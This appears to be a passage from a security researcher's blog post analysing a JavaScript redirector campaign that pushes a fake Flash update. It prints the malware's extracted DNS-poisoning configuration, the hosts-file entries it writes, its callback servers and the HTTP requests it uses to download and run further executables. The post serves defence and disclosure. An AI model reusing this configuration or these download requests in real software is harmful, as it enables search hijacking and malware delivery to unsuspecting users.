But after some more research I noticed that it was not just Sweden that was affected, it seemed to be a global epidemic. I also noticed that we were talking about two different redirectors; Trojan.JS.Redirector.ro and Trojan.JS.Pakes.cp.
In the next step, the victims are redirected to a server which validates the origin (country) of the victim. Depending on the location a malicious payload is executed. In one example that we have seen, users are redirected to a malicious website posing as a YouTube video, that tries to get the user to download an update to Flash Player, which is actually malware.
The technical setup is almost identical to the Lizamoon case we read about a few months back. Same filenames, same techniques and also the server setups looks very identical.
MALWARE ANALYSIS (ongoing!)
If the victim downloads and executes the fake flash update, it will upon execution connect back to the following servers:
- 188.8.131.52/?19= (Virtual Host: update.19runs10q3.com)
Upon execution the malware will modify the hosts file and “poison” known domains. It will make the infected computer use rogue DNS servers, and redirect the users to malicious websites. The following configuration file has been extracted from the malware:
[redirected_dns] -affiliate=9; -DnsServerIp=184.108.40.206; -DnsServerIp=220.127.116.11; -DnsServerIp=18.104.22.168; -FakeDnsServerIp=22.214.171.124; -FakeDnsServerIp=126.96.36.199; -FakeDnsServerIp=188.8.131.52; [redirect_timeouts] -response_timeout=40000; -redirect_deactivating_interval=40020; [reports] -Version=260; -host=184.108.40.206/chrome/report.html; -host_first=220.127.116.11/chrome/report.html; -check_timeout=10000; -disable_reports=0; [AntiRB] -server=18.104.22.168; [GUI] -long_start=0; [UAC] -DelayBeforeRun=10; [redirected_ips] [redirected_domains] -www.google.com.=22.214.171.124; -google.com.=126.96.36.199; -google.com.au.=188.8.131.52; -www.google.com.au.=184.108.40.206; -google.be.=220.127.116.11; -www.google.be.=18.104.22.168; -google.com.br.=22.214.171.124; -www.google.com.br.=126.96.36.199; -google.ca.=188.8.131.52; -www.google.ca.=184.108.40.206; -google.ch.=220.127.116.11; -www.google.ch.=18.104.22.168; -google.de.=22.214.171.124; -www.google.de.=126.96.36.199; -google.dk.=188.8.131.52; -www.google.dk.=184.108.40.206; -google.fr.=220.127.116.11; -www.google.fr.=18.104.22.168; -google.ie.=22.214.171.124; -www.google.ie.=126.96.36.199; -google.it.=188.8.131.52; -www.google.it.=184.108.40.206; -google.co.jp.=220.127.116.11; -www.google.co.jp.=18.104.22.168; -google.nl.=22.214.171.124; -www.google.nl.=126.96.36.199; -google.no.=188.8.131.52; -www.google.no.=184.108.40.206; -google.co.nz.=220.127.116.11; -www.google.co.nz.=18.104.22.168; -google.pl.=22.214.171.124; -www.google.pl.=126.96.36.199; -google.se.=188.8.131.52; -www.google.se.=184.108.40.206; -google.co.uk.=220.127.116.11; -www.google.co.uk.=18.104.22.168; -google.co.za.=22.214.171.124; -www.google.co.za.=126.96.36.199; -www.google-analytics.com.=188.8.131.52; -www.bing.com.=184.108.40.206; -search.yahoo.com.=220.127.116.11; -www.search.yahoo.com.=18.104.22.168; -uk.search.yahoo.com.=22.214.171.124; -ca.search.yahoo.com.=126.96.36.199; -de.search.yahoo.com.=188.8.131.52; -fr.search.yahoo.com.=184.108.40.206; -au.search.yahoo.com.=220.127.116.11; -ad-emea.doubleclick.net.=18.104.22.168; -www.statcounter.com.=22.214.171.124; [redirected_domains_hosts] -www.google-analytics.com.=126.96.36.199; -ad-emea.doubleclick.net.=188.8.131.52; -www.statcounter.com.=184.108.40.206;
The malware will then changes the DNS configuration by modifying the hosts file to poison the following hostnames:
- 220.127.116.11 www.google-analytics.com.
- 18.104.22.168 ad-emea.doubleclick.net.
- 22.214.171.124 www.statcounter.com.
Additional will the malware download and excecute updates. Some of the following requests have been collected:
v=spf1 a mx ip4:%d.%d.%d.%d/%d ?all /?controller=hash HTTP/1.1 Host: update1.randomstring.com User-Agent: IE7 /?abbr=RTK&setupType=update&uid=%d&ttl=%s&controller=microinstaller&pid=3 HTTP/1.1 Host: update1.randomstring.com User-Agent: IE7 HTTP/1.1 /update_c1eec.exe Host: update1.randomstring.com User-Agent: IE7 /?abbr=RTK&setupType=update&uid=%d&ttl=%s&controller=microinstaller&pid=3 HTTP/1.1 Host: update1.randomstring.com
We are also seeing a very high increase in Java, PDF and Flash exploits in the wild, but we are still unsure if this attack is also responsible for exploiting victims exposed to these vulnerabilities. But in all countries mentioned in the statistics, these exploits have dramatically increased in September and October. As soon as i have information i will publish it.
Leave a reply